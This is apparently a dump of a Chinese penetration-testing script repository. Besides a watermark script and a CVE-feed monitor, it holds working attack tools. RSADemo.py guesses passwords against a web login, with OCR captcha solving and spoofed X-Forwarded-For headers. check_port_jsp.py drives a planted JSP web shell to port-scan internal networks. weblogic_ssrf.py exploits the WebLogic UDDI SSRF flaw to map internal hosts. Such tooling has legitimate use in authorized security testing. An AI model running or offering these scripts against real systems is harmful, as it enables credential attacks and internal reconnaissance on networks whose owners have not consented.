text_overlay = Image.new("RGBA",layer.size,(255,255,255,0)) 23 | image_draw = ImageDraw.Draw(text_overlay) 24 | text_size_x,text_size_y = image_draw.textsize(text,font=font) 25 | text_xy = (layer.size[0] - text_size_x,layer.size[1]-text_size_y) 26 | image_draw.text(text_xy,text,font=font,fill=(255,0,0,80)) 27 | after = Image.alpha_composite(layer,text_overlay) 28 | after.save(path) 29 | except Exception as e: 30 | print(path+"\t添加水印失败") 31 | if __name__ == '__main__': 32 | directory = 'D:\\Images' #图片路径 33 | for x in os.listdir(directory): 34 | if is_img(os.path.splitext(x)[1]): 35 | path = os.path.join(directory,x) 36 | text = "浮萍'Blog" #添加的文字 37 | doWaterMark(path,text) -------------------------------------------------------------------------------- /web/README.md: -------------------------------------------------------------------------------- 1 | # Web相关脚本 2 | 3 | 主要是一些web测试中使用的脚本。 4 | 5 | ### RSADemo.py 6 | 7 | 一个RSA加密的demo,包括验证码的识别。 8 | 安装依赖 9 | ```python 10 | pytesseract==0.1.7 11 | rsa==3.4.2 12 | requests==2.10.0 13 | Pillow==4.2.1 14 | ``` 15 | >modulus和exponent用来生成Public key,其值是从页面动态获取的。 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /web/RSADemo.py: -------------------------------------------------------------------------------- 1 | #! -*- coding:utf-8 -*- 2 | __author__="浮萍" 3 | __Date__="20170622" 4 | 5 | import rsa 6 | import requests 7 | import binascii 8 | import base64 9 | import json 10 | import time 11 | from urllib import urlencode 12 | import re 13 | import pytesseract 14 | from PIL import Image 15 | 16 | class AdminLogin: 17 | def __init__(self,username,pwd): 18 | self.modulus = None 19 | self.exponent = 'AQAB' 20 | self.mssc_sid = None 21 | self.token = None 22 | self.JSESSIONID = None 23 | self.username = username 24 | self.pwd = pwd 25 | self.captchaId = None 26 | self.captcha = None 27 | 28 | def getData(self): 29 | headers = { 30 | 'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 31 | 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0', 32 | 'Referer':'http://******/login.jsp', 33 | 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 34 | 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 35 | 'X-Forwarded-For':str(int(time.time())) 36 | } 37 | url = 'http://******/login.jsp' 38 | res = requests.get(url,headers=headers) 39 | captchaId = re.findall('captchaId=(.*?)×tamp=',res.text) 40 | modulus = re.findall('b64tohex\(\"(.*?)\"\), b64tohex',res.text) 41 | self.JSESSIONID = res.cookies['JSESSIONID'] 42 | self.modulus = modulus[0] 43 | self.captchaId = captchaId[0] 44 | 45 | def readCaptcha(self):#验证码识别 46 | 47 | 48 | headers = { 49 | 'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 50 | 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0', 51 | 'Referer':'http://******/login.jsp', 52 | 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 53 | 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 54 | 'X-Forwarded-For':self.captchaId 55 | } 56 | url = 'http://******/common/captcha.jhtml?captchaId='+self.captchaId 57 | try: 58 | res = requests.get(url,headers=headers) 59 | except requests.exceptions.ConnectionError: 60 | print '图片下载失败' 61 | 62 | path = "i:/img/"+self.captchaId+".png" 63 | fp = open(path,'wb') 64 | fp.write(res.content) 65 | fp.close() 66 | image = Image.open(path) 67 | code = pytesseract.image_to_string(image) 68 | self.captcha = code 69 | #print code 70 | 71 | def login(self):#登录 72 | cookie = { 73 | 'JSESSIONID':self.JSESSIONID, 74 | } 75 | 76 | headers = { 77 | 'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 78 | 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0', 79 | 'Referer':'http://******/login.jsp', 80 | 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 81 | 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 82 | 'X-Forwarded-For':self.username+self.pwd 83 | } 84 | url = 'http://******/login.jsp' 85 | enPass = self.enPass() 86 | data = { 87 | 'enPassword':enPass, 88 | 'username':self.username, 89 | 'captchaId':self.captchaId, 90 | 'captcha': self.captcha 91 | } 92 | res = requests.post(url,cookies=cookie,data=data,headers=headers) 93 | #result = json.loads(res.text) 94 | result = re.findall('message\(\"error\"\, \"(.*?)\"\);',res.text) 95 | #print res.text 96 | print '['+self.username+','+self.pwd+']'+result[0] 97 | 98 | def b64tohex(self,param): 99 | return binascii.b2a_hex(base64.b64decode(param)) 100 | def hex2b64(self,param): 101 | return base64.b64encode(bytes(bytearray.fromhex(param))) 102 | def enPass(self): 103 | exponent = self.b64tohex(self.exponent) 104 | modulus = self.b64tohex(self.modulus) 105 | rsaKey = rsa.PublicKey(int(modulus, 16), int(exponent,16)) 106 | 107 | enPwd = binascii.b2a_hex(rsa.encrypt(self.pwd, rsaKey)) 108 | return self.hex2b64(enPwd) 109 | 110 | if __name__ == '__main__': 111 | username = 'liuqin' 112 | 113 | pwds=['123456','123456aa','liuqin123','123456789'] 114 | 115 | 116 | for pwd in pwds: 117 | print pwd 118 | adminLogin = AdminLogin(username, pwd.strip('\n')) 119 | adminLogin.getData() 120 | adminLogin.readCaptcha() 121 | adminLogin.login() -------------------------------------------------------------------------------- /web/check_port_jsp.py: -------------------------------------------------------------------------------- 1 | __Date__="20180612" 2 | 3 | 4 | ''' 5 | Usage: 6 | python port_check_jsp.py http://localhost:8088/dama.jsp 192.168.135.133 7 | python port_check_jsp.py http://localhost:8088/dama.jsp 192.168.135.0/24 8 | 9 | Python version: 3.6.2 10 | requirements:IPy==0.83 11 | beautifulsoup4==4.6.0 12 | ''' 13 | 14 | import requests 15 | from bs4 import BeautifulSoup 16 | from IPy import IP 17 | import sys 18 | import time 19 | 20 | def writeFile(path,content): 21 | with open(path,"a")as f: 22 | f.write(content) 23 | 24 | def check(url,path,ip): 25 | try: 26 | data = { 27 | 'o':'portScan', 28 | 'ip':ip, 29 | 'ports':'80,8080,8088,8888,1433,3306,3389,7001,7002', 30 | 'timeout':'2', 31 | 'submit':'Scan', 32 | } 33 | cookies = { 34 | 'JSESSIONID':'E806EE7B710702AA8AB7383060FAACEA', 35 | 'BIGipServerweishequ_app_38085_pool':'1678118922.50580.0000' 36 | } 37 | res = requests.post(url,data=data,cookies=cookies) 38 | soup = BeautifulSoup(res.content,'lxml') 39 | ip_results_text = soup.find_all(attrs={"style":"margin:10px"})[0].text 40 | ip_results_str = ip_results_text.strip().replace(' ','') 41 | print(ip_results_str) 42 | results = '' 43 | all_results = ip_results_str.split("\n") 44 | for all_result in all_results: 45 | if all_result.find("Open")>0: 46 | results += all_result + "\n" 47 | # print(results) 48 | if results != '': 49 | writeFile(path,results+"") 50 | except Exception as e: 51 | print(ip,"error") 52 | 53 | 54 | if __name__ == '__main__': 55 | url = sys.argv[1] 56 | ip = sys.argv[2] 57 | t = str(round(time.time()*1000)) 58 | if ip.rfind("/")<0: 59 | path = ip+'_'+t+".txt" 60 | else: 61 | pos = ip.rfind(".") 62 | path = ip[:pos]+'_'+t+".txt" 63 | ips = IP(ip) 64 | for i in ips: 65 | check(url,path,i) -------------------------------------------------------------------------------- /weblogic/README.md: -------------------------------------------------------------------------------- 1 | # WebLogic相关脚本 2 | ### weblogic_ssrf.py 3 | 该脚本是利用WebLogic SSRF漏洞探测内网开放的端口。 4 | 详细内容可参考 http://blog.csdn.net/chs007chs/article/details/52514888 5 | 6 | 使用方法: 7 | 8 | ```python 9 | python weblogic_ssrf.py 192.168.0.1 10 | ``` 11 | -------------------------------------------------------------------------------- /weblogic/weblogic_ssrf.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import re 3 | import sys 4 | import time 5 | import thread 6 | import requests 7 | def scan(ip_str): 8 | ports = ('7001','6379') 9 | for port in ports: 10 | exp_url = "http://192.168.232.137:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"%(ip_str,port) 11 | try: 12 | response = requests.get(exp_url, timeout=15, verify=False) 13 | #SSRF判断 14 | re_sult1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',response.content) 15 | #丢失连接.端口连接不上 16 | re_sult2 = re.findall('but could not connect',response.content) 17 | re_sult3 = re.findall('No route to host',response.content) 18 | 19 | if len(re_sult1)!=0 and len(re_sult2)==0 and len(re_sult3)==0: 20 | print ip_str+':'+port 21 | except Exception, e: 22 | pass 23 | def find_ip(ip_prefix): 24 | ''' 25 | 给出当前的192.168.1 ,然后扫描整个段所有地址 26 | ''' 27 | for i in range(1,256): 28 | ip = '%s.%s'%(ip_prefix,i) 29 | thread.start_new_thread(scan, (ip,)) 30 | time.sleep(3) 31 | if __name__ == "__main__": 32 | commandargs = sys.argv[1:] 33 | args = "".join(commandargs) 34 | ip_prefix = '.'.join(args.split('.')[:-1]) 35 | find_ip(ip_prefix) -------------------------------------------------------------------------------- /work/CVE-Monitor.py: -------------------------------------------------------------------------------- 1 | #-*- coding:utf-8 -*- 2 | __author__ = "浮萍" 3 | __Date__ = "2017/12/6" 4 | 5 | 6 | import requests 7 | from bs4 import BeautifulSoup 8 | from pymongo import MongoClient 9 | from datetime import * 10 | import time 11 | import smtplib 12 | from email.mime.text import MIMEText 13 | from email.header import Header 14 | import sys 15 | 16 | 17 | reload(sys) 18 | sys.setdefaultencoding('utf8') 19 | 20 | class CVEInfo: 21 | def __init__(self,url, cveid, keyword, description, company, createdate): 22 | self.url = url 23 | self.cveid = cveid 24 | self.keyword = keyword 25 | self.description = description 26 | self.company = company 27 | self.createdate = createdate 28 | 29 | def show(self): 30 | return '

漏洞编号:'+self.cveid+'

相关厂商:'\ 31 | +self.company +'
披露日期:'\ 32 | +self.createdate+'
关键字:'\ 33 | +self.keyword+'
漏洞描述:'\ 34 | +self.description + '


' 35 | 36 | def add(self): 37 | data = { 38 | 'cveid': self.cveid, 39 | 'keyword': self.keyword, 40 | 'description': self.description, 41 | 'company': self.company, 42 | 'createdate': datetime.strptime(self.createdate, "%Y%m%d"), 43 | 'addDate': time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())), 44 | 45 | } 46 | return data 47 | headers = { 48 | 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0', 49 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' 50 | } 51 | 52 | def getMiddleStr(content, startStr, endStr): # 获取文本中间内容 53 | startIndex = content.index(startStr) 54 | if startIndex >= 0: 55 | startIndex += len(startStr) 56 | endIndex = content.index(endStr) 57 | return content[startIndex:endIndex] 58 | 59 | 60 | def getCVES(): # 获取最新到CVE列表 61 | urls = [] 62 | try: 63 | url = 'https://cassandra.cerias.purdue.edu/CVE_changes/today.html' 64 | res = requests.get(url, headers=headers, timeout=60) 65 | CVEList_html = getMiddleStr(res.text, 'New entries:', 'Graduations') 66 | soup = BeautifulSoup(CVEList_html, 'html.parser') 67 | for a in soup.find_all('a'): 68 | urls.append(a['href']) 69 | return urls 70 | except Exception as e: 71 | print(e) 72 | 73 | 74 | def getCVEDetail(url): # 获取CVE详情 75 | keywords = ['WordPress','Struts','Jboss','Remote Code Execution Vulnerability'] #关注的关键字 76 | try: 77 | res = requests.get(url, headers=headers, timeout=60) 78 | soup = BeautifulSoup(res.text, 'html.parser') 79 | cveId = soup.find(nowrap='nowrap').find('h2').string 80 | table = soup.find(id='GeneratedTable').find('table') 81 | description = table.find_all('tr')[3].find('td').string 82 | keyword = None 83 | for k in keywords: 84 | if k in description: 85 | keyword = k 86 | break 87 | company = table.find_all('tr')[8].find('td').string 88 | createdate = table.find_all('tr')[10].find('td').string 89 | cveInfo = CVEInfo(url, cveId, keyword, description, company, createdate) 90 | if keyword is None: 91 | return None 92 | else: 93 | return cveInfo 94 | 95 | except Exception as e: 96 | print(e) 97 | 98 | def addData(data): 99 | DBNAME = 'mydb' 100 | DBUSERNAME = 'tass' 101 | DBPASSWORD = 'liehu' 102 | DB = '127.0.0.1' 103 | PORT = 65521 104 | db_conn = MongoClient(DB, PORT) 105 | na_db = getattr(db_conn, DBNAME) 106 | na_db.authenticate(DBUSERNAME, DBPASSWORD) 107 | c = na_db.cvedatas 108 | c.update({"cveid": data['cveid']}, {'$set': data}, True) 109 | 110 | def sendEmail(mail_msg): # 发送邮件 111 | sender = 'from@163.com' # 发件人 112 | password = 'password' # 发件人密码 113 | receiver = 'receiver@163.com' # 收件人 114 | message = MIMEText(mail_msg, 'html', 'utf-8') #以html发送 115 | message['From'] = sender 116 | message['To'] = receiver 117 | subject = '最新CVE列表' 118 | message['Subject'] = Header(subject, 'utf-8') 119 | try: 120 | smtpObj = smtplib.SMTP('smtp.163.com') 121 | smtpObj.login(sender, password) 122 | smtpObj.sendmail(sender, receiver, message.as_string()) 123 | print('邮件发送成功') 124 | except smtplib.SMTPException: 125 | print('Error: 无法发送邮件') 126 | def main(): 127 | nowTime = '当前时间:' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) + '
' 128 | urls = getCVES() 129 | msg = '' 130 | if(len(urls)==0): 131 | msg = nowTime + '

今日风和日丽,无大事发生!!!

' 132 | else: 133 | msg_header = '

今日CVE一共' + str(len(urls))+'个。' 134 | i = 0 135 | for url in urls: 136 | cveInfo = getCVEDetail(url) 137 | if cveInfo is not None: 138 | i = i + 1 139 | data = cveInfo.add() 140 | addData(data) 141 | msg = msg + cveInfo.show() 142 | if i == 0: 143 | msg = nowTime + msg_header + '根据设置的关键字,未匹配到关注的CVE信息。

' 144 | else: 145 | msg_key_header = '

根据设置的关键字,关注的CVE信息一共' + str(i)+'个。具体如下:

' 146 | msg = nowTime + msg_header + msg_key_header + msg 147 | sendEmail(msg) 148 | if __name__ == '__main__': 149 | main() 150 | -------------------------------------------------------------------------------- /work/README.md: -------------------------------------------------------------------------------- 1 | # 工作相关脚本 2 | 3 | 4 | *** 5 | ### CVE-Monitor.py 6 | 该脚本是根据https://cassandra.cerias.purdue.edu/CVE_changes/today.html 监控最新CVE信息。然后入库并发送结果到邮件。 7 | 主要包括以下几个方面。 8 | 1. 获取最新的CVE列表和详情 9 | 主要采用了python的requests模块和BeautifulSoup模块。 10 | 2. 将最新的CVE信息存入数据库 11 | 数据库使用了Mongodb,采用了pymongo模块。 12 | 3. 通过邮件发送最新的CVE信息 13 | 发送邮件采用了smtplib模块。 14 | 4. 定时执行任务 15 | 使用了linux的crontab来实现。 16 | 17 | 18 | 19 | 使用方法: 20 | 21 | 1. 下载脚本,按装所需的依赖库 22 | 23 | requirements.txt 24 | ``` 25 | pymongo==3.6.0 26 | requests==2.18.4 27 | beautifulsoup4==4.6.0 28 | ``` 29 | 2. 数据库操作 30 | 31 | 32 | 这里采用的是Mongodb,也可以换成其他数据库。或者不用数据库(不用的话将相关的代码屏蔽即可)。 33 | 34 | 1.数据库安装 35 | Ubuntu下可以使用`apt-get install mongodb`。CentOS下的安装可以参考[CentOS 安装MongoDB](http://blog.csdn.net/yima1006/article/details/9840239) 36 | 37 | 2.创建数据库存储文件位置 38 | ```bash 39 | mkdir /var/data/ #创建数据存储位置 40 | mongod --port 65521 --dbpath /var/data/ --bind_ip 127.0.0.1 #启动mongodb,指定端口和路径,且仅本机可连 41 | mongo 127.0.0.1:65521/mydb 42 | db.createUser({user:'tass',pwd:'liehu',roles:[{role:'dbOwner',db:'mydb'}]}) #添加认证 43 | ``` 44 | 45 | 3.修改代码中数据库配置 46 | ```python 47 | def addData(data): 48 | DBNAME = 'mydb' 49 | DBUSERNAME = 'tass' 50 | DBPASSWORD = 'liehu' 51 | DB = '127.0.0.1' 52 | PORT = 65521 53 | ``` 54 | 3. 修改邮箱信息为自己的 55 | 56 | ```python 57 | def sendEmail(mail_msg): # 发送邮件 58 | sender = 'from@163.com' # 发件人 59 | password = 'password' # 发件人密码 60 | receiver = 'receiver@163.com' # 收件人 61 | ``` 62 | 具体可以参考博客:https://fuping.site/2017/12/11/NEW-CVE-Monitor/ 63 | --------------------------------------------------------------------------------